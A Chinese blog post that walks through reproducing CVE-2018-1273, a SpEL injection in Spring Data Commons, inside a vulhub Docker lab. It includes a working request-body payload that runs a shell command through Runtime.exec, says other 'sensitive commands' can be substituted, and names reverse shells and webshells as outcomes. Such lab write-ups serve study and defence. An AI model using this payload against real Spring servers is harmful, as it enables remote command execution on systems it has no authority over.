影响范围:

  • Spring Data Commons 1.13 - 1.13.10

  • Spring Data Commons 2.0 - 2.0.5

  • Spring Boot 1.5.0 - 1.5.11

  • Spring Boot 2.0.0 - 2.0.1

漏洞类型:

SpEL表达式注入

操作系统限制:

配置要求:

默认配置

漏洞利用:

命令执行,进行反弹shell,写入木马

利用原理:

Spring MVC中,当用户通过POST表单提交数据,Spring Data会尝试将请求参数绑定到后端Java对象或Map中,Spring Data允许参数名通过方括号语法定位集合或Map中的元素(例如tags[0]或users['admin']),当Spring Data处理方括号2的参数名时候,会调用MapDataBinder进行解析,而系统直接调用SpEL引擎来解析方括号内容且不做过滤,攻击者可以通过参数名的方括号注入恶意SpEL代码实现命令执行

漏洞复现:

用现成的vulhub来拉取镜像

#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/spring/CVE-2018-1273
#拉取镜像
docker-compose up -d

使用dirsearch进行目录扫描

dirsearch -u http://公网:8080

访问http://公网:8080/users

注册账号同时抓包

发送到Repeater模块

将输入请求主题内容替换为下面payload,其中touch /tmp/success可以替换成其他敏感命令

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=

发送后返回500

进入容器查看/tmp目录下的文件,发现success,表示命令执行成功


文章作者: Johan
本文链接:
版权声明: 本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Johan的秘密小窝
CVE Spring
喜欢就支持一下吧